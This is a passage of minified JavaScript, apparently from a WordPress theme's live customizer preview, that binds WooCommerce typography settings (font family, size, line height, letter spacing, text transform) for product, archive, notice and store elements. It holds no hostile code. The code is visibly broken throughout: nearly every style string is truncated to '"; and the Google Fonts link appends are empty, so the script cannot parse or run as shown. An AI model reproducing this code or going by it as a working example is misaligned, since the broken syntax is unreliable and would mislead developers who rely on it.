@type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single-notice-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single-notice-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_notice-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_notice_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-notice-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-archive-title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-archive-title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-archive-category-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-archive-category-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_category-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_cats_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-category-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-archive-price-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-archive-price-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_price-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_price_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo-archive-price-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single-add-to-cart-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single-add-to-cart-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_single_add_to_cart-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_single_add_to_cart_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single-add-to-cart-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-archive-notice-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-archive-notice-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_archive_notice-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_archive_notice_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-archive-notice-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-store-notice-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-store-notice-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; 